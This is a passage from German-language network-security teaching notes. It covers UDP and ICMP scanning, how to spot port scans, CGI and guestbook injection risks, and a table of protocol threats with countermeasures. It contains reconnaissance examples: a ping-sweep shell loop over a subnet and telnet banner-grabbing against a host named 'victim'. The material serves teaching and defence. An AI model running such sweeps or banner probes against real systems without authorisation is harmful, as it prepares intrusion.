  Der UDP-write/recvfrom-Scan ist ein UDP-ICMP-Scan, der vollkommen ohne root-Rechte durchgeführt werden kann. Die Schwierigkeit besteht darin, zu erkennen, dass "ICMP port unreachable" gesendet wurde. Der UDP-write-Scan basiert darauf, dass der Empfang des "ICMP port unreachable" durch das Fehlschlagen eines zweiten write-Aufrufs angezeigt wird. Die Grundlage des UDP-recvfrom-Scan ist, dass das Erhalten des "ICMP port unreachable" bei einem recvfrom-Aufruf auf einen NONBLOCKING-Socket durch das Setzen von ERRNO auf 111 (ECONNREFUSED) angezeigt wird.
• ICMP Echo Scanning:
  Geht es lediglich darum, die Existenz fremder Rechner festzustellen, hilft ein automatisches ping (siehe unten).

Wie erkennt man einen Portscan?

• In einer relativ kurzen Zeit wird eine größere Anzahl von Ports angesprochen.
• Das zuerst an einen Port gesendete Paket ist charakteristisch für Stealth-Scans.
• Ungewöhnlich hoher Anteil von ICMP-Port-Unreachable-Meldungen.
• Generell: "ungewöhnliche" Netzwerkaktivität.

                                       $ netstat
                                       Aktive Internetverbindungen (ohne Server)
                                       Proto Recv-Q Send-Q Local Address           Foreign Address         State
                                       tcp        0      0 www.ee.fhm.edu:www-http otdial-212-144-110:1090 VERBUNDEN
                                       tcp        0      0 www.ee.fhm.edu:www-http otdial-212-144-110:1088 VERBUNDEN
                                       tcp        0      0 www.ee.fhm.edu:www-http otdial-212-144-110:1094 VERBUNDEN
                                       tcp        0      0 www.ee.fhm.edu:www-http otdial-212-144-110:1092 VERBUNDEN
                                       tcp        0      0 www.ee.fhm.edu:www-http 212.123.104.2:61892     VERBUNDEN
                                       tcp        0      0 www.ee.fhm.edu:www-http 212.123.104.2:61893     VERBUNDEN
                                       tcp        1  47784 www.ee.fhm.edu:www-http niven.antares.de:44742  CLOSE_WAIT
                                       tcp        0   6343 www.ee.fhm.edu:www-http niven.antares.de:44744  FIN_WAIT1
                                       ...
                                       
                                       
                                       $ lsof | grep -v root
                                       COMMAND     PID  USER   FD   TYPE DEVICE    SIZE   NODE NAME
                                       bash      22644 plate  cwd    DIR   8,17    2048   2049 /home/plate
                                       bash      22644 plate  rtd    DIR    8,2    1024      2 /
                                       bash      22644 plate  txt    REG    8,2  475348  57124 /bin/bash
                                       bash      22644 plate  mem    REG    8,2  148968  63290 /lib/ld-2.0.7.so
                                       bash      22644 plate  mem    REG    8,2  500910  63289 /lib/libncurses.so.4.2
                                       bash      22644 plate  mem    REG    8,2   65006  63296 /lib/libdl.so.2
                                       bash      22644 plate  mem    REG    8,2 2475225  63293 /lib/libc.so.6
                                       bash      22644 plate  mem    REG    8,2  113110  63299 /lib/libnss_compat.so.1
                                       bash      22644 plate  mem    REG    8,2  106544  63298 /lib/libnsl.so.1
                                       bash      22644 plate  mem    REG    8,2  167648  63302 /lib/libnss_files.so.1
                                       bash      22644 plate    0u   CHR    3,0           3493 /dev/ttyp0
                                       bash      22644 plate    1u   CHR    3,0           3493 /dev/ttyp0
                                       bash      22644 plate    2u   CHR    3,0           3493 /dev/ttyp0
                                       bash      22644 plate  255u   CHR    3,0           3493 /dev/ttyp0
                                       ...
                                       
                                       

1. Der Portscan-Detector nistet sich auf bestimmten Ports ein und registriert Verbindungsversuche. Diese Methode benötigt keine root-Rechte und ist Ressourcen schonend.SIe ist jedoch durch Stealth-Scans einfach zu umgehen und das System stößt schnell an die Grenze der maximal offenen Dateien
2. Der Portscan-Detector snifft den gesamten Netzwerkverkehr auf einem Device mit und registriert verdächtige Pakete. Dieses Verfahren ist schwer zu umgehen aber Ressourcen fressend.

Security im Application Layer

Auf dieser Ebene kann ein Angreifer auch versuchen, allgemeine Informationen über seine 'Opfer' einzuholen. Eine erst Möglichkeit ist das Abscannen eines Netzes auf 'aktive' IP-Adressen, d. h. IP-Adressen, unter denen ein Rechner ansprechbar ist. Dazu genügt das ping-Kommando. Ein kleines Shell-Skript erledigt die Arbeit in Sekunden (unter Solaris liefert ping als Default nur 'xxx is alive.' oder 'xxx unreachable.'. Gegebenenfalls ist ping mit geeigneten Parametern zu versehen):

                                       for VICTIM in `seq 1 254`
                                       do
                                         ping 192.168.1.$VICTIM
                                       done
                                       

Das geht mit dem finger-Kommando. Das finger-Kommando erlaubt es, Informationen über Benutzer zu erlangen, weshalb es aus Gründen des Datenschutzes oft auch gesperrt wird. Mit dem Kommando 'finger user@host' kann man sich über einen bestimmten Benutzer informieren. Die Ausgabe sieht beispielsweise folgendermaßen aus:

                                           Login: plate Name: Juergen Plate
                                           Directory: /home/plate Shell: /bin/sh
                                           No unread mail.
                                           On since Sun Nov 20 19:36 (MET) on ttyp3
                                           No Plan.
                                       

Nun sehen wir auf den offenen Ports mal nach, welche Version die Server-Dienste haben. Ist der Administrator nachlässig, findet sich vielleicht Software, für die schon eine Sicherheitslücke veröffentlicht wurde. Mit viel Glück findet ein Scriptkiddie sogar noch ein "Exploit", ein Programm, das die Sicherheitslücke demonstriert.
Das Ausspähen der Server-Dienste erfolgt einfach per Telnet auf die entsprechenden Ports. Das folgende Beispiel zeigt eine Untersuchung der Ports 23 (Telnet), 25 (Mail), 21 (FTP) und 80 (HTTP). Die Eingabe sind fett wiedergegeben:

                                       plate@multimedia:~ > telnet victim 23
                                       Trying 141.39.253.196...
                                       Connected to victim.
                                       Escape character is '^]'.
                                       Connection closed by foreign host.
                                       

                                       plate@multimedia:~ > telnet victim 25
                                       Trying 141.39.253.196...
                                       Connected to victim.
                                       Escape character is '^]'.
                                       220 victim.e-technik.fh-muenchen.de ESMTP Sendmail 8.9.3/8.9.3; Mon, 
                                       8 Jul 2002 08:01:14 +0200
                                       quit
                                       221 victim.e-technik.fh-muenchen.de closing connection
                                       Connection closed by foreign host.
                                       

                                       plate@multimedia:~ > telnet victim 21
                                       Trying 141.39.253.196...
                                       Connected to victim.
                                       Escape character is '^]'.
                                       220-     Youre welcome on the FTP - Server
                                       220-     victim.e-technik.fh-muenchen.de
                                       220-
                                       220-     Please try 'ftp' for anonymous login
                                       220-
                                       220 victim.e-technik.fh-muenchen.de FTP server (Version wu-2.4.2-academ[BETA-18]
                                           (1) Sun Apr 4 23:07:17 /etc/localtime 1999) ready.
                                       quit
                                       221 Goodbye.
                                       Connection closed by foreign host.
                                       

                                       plate@multimedia:~ > telnet victim 80
                                       Trying 141.39.253.196...
                                       Connected to victim.
                                       Escape character is '^]'.
                                       GET /index.html HTTP/1.0
                                       accept: */*
                                       
                                       HTTP/1.1 200 O.K.
                                       Date: Mon, 08 Jul 2002 06:02:39 GMT
                                       Server: mod_perl/1.18 Apache/1.3.4 (Unix)  (SuSE/Linux) PHP/3.0.7
                                       Connection: close
                                       Content-Type: text/html
                                       
                                       <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
                                       
                                       ...
                                       
                                       Connection closed by foreign host.
                                       

Der whois-Dienst liefert Informationen über Netzteilnehmer, sofern sich diese bei einem Whois-Server haben registrieren lassen. Das kann man über ein Formular, netinfo/user-template.txt auf nic.ddn.mil, machen, das dann an registar@nic.ddn.mil geschickt wird). Das Kommando lautet:

                                           whois Namensangabe

                                       

                                           whois -h Serverrechner Namensangabe

                                       

Über das Common Gateway Interface, also über CGI-Scripts, können Attacken gestartet werden. Normalerweise erlaubt ein CGI-Script dem Benutzer einer Website, interaktive Prozesse vom Browser auszulösen, z. B. auf eine Datenbank zuzugreifen oder ein Formular vom Server auswerten zu lassen. Die Sicherheitslücken bei CGI-Programmen entstehen durch Fehlkonfiguration der Serversoftware und durch Fehler im Script selbst. Dazu ist es nicht notwendig, daß das Script von Haus aus dazu angelegt ist Schaden anzurichten. Oft reicht eine fehlende Sicherheitsabfrage, die unabsichtlich oder aus Bequemlichkeit nicht eingebaut wurde. Deshalb sollten bei CGI-Programmen grundsätzlich alle Eingaben als "böse" betrachtet werden. Zu bedenken ist auch, daß der Angreifer nicht unbedingt das entworfene Formular ausfüllen muß. Er kann seine Eingaben für das CGI-Programm auch direkt in der URL-Zeile des Browsers tätigen.
Ein weiterer Angriffspunkt ist die die Speicherung unerwünschter Daten auf dem Server. Dazu ein Beispiel: Viele Webseiten bieten Gästebücher an, in die jeder etwas eintragen kann. Der Hacker trägt neben "normalem" Text auch HTML-Code, z. B. eine URL, ein Javascript-Programm oder eine Referenz auf ein Active-X-Control ein. Leser des Gästebuches erleiden durch diese Teile der Seite Schaden - oder werden auch nur beleidigt. Es gab den Fall, daß irgendwelche "Spaßvögel" im Gästebuch von McDonalds Links auf Porno-Sites hinterlassen haben.
Um auch bei Fehlern in den Skripts möglichst wenig Angriffsfläche zu bieten, darf der WWW-Server nur unter einer Benutzerkennung mit möglichst wenig Rechten laufen (z. B. "nobody"). Auch die CGI-Programme dürfen nur unter geringen Rechten laufen, niemals als Root-Programme. Alle CGI-Scripte gehören in ein spezielles Verzeichnis, etwa "serverhost/cgi-bin", in das nichts anderes kommt.

Auf Gefahren, die speziell die Anwenderseite betreffen, wird in diesem Kapitel eingegangen.

Überblick Bedrohungen/Gegenmaßnahmen

	Bedrohung	Angriff	Maßnahme
ICMP	Eindringen, Denial-of-Service	Redirect, TTL-Exceeded, Destination Unreachable, Ping-of-Death	Authentisierung, Filtern, auf Router abweisen, Overflow abfangen
TCP	Eindringen, Maskerade, Denial-of-Service	Hijacking, Asynchrone State, IP-Spoofing, SYN-Flooding	Übernahme privilegierter Rechte verhindern, Überwachung, Verschlüsselung, Authentisierung,Signatur, IP-Spoofing verhindern
UDP	Eindringen, Maskerade, Denial-of-Service	UDP-Spoofing, Flooding, echo, Ausnutzen privilegierter Ports	Schutz auf Applikationsebene, chargen und echo filtern, Antworten auf echo filtern, Portnummern kleiner 1024 filtern
DNS	Maskerade, Denial-of-Service	IP-Spoofing, Sniffing, Penetration des DNS-Caches	Splitten der DNS-Server, Inverse DNS-Anfragen filtern, IP-Spoofing verhindern
ARP	Maskerade, Umleiten	Fälschen von ARP-Antworten	ARP-Tabellen fixieren, ARP-Request auf Firewalls abblocken
RIP	Maskerade, Umleiten	Loose-Source-Routing, RIP-Spoofing	Filtern von Loose-Source-Routing-Paketen, Statisches Routen
SNMP	Maskerade, Eindringen	Abhören der Community-Strings	Filtern, Verschlüsselung, nicht über Firewall zulassen
NIS/NIS+	Maskerade, Eindringen	Umleiten, Dateidiebstahl, Brute-Force-Attacke	Filtern, starke Authentisierung nicht über Firewall zulassen
FTP	Maskerade, Eindringen, Manipulation, Informationsdiebstahl	FTP-Hijacking, cwd, cdup, retr, stor, dele, list, nlist, site, syst, port Anonymous FTP	Filtern, Rechteverwaltung, port durch pasv ersetzen, Zugriff nur auf ausgewählte Daten erlauben

Zurück

Inhaltsverzeichnis

Diplomarbeiten zum Runterladen: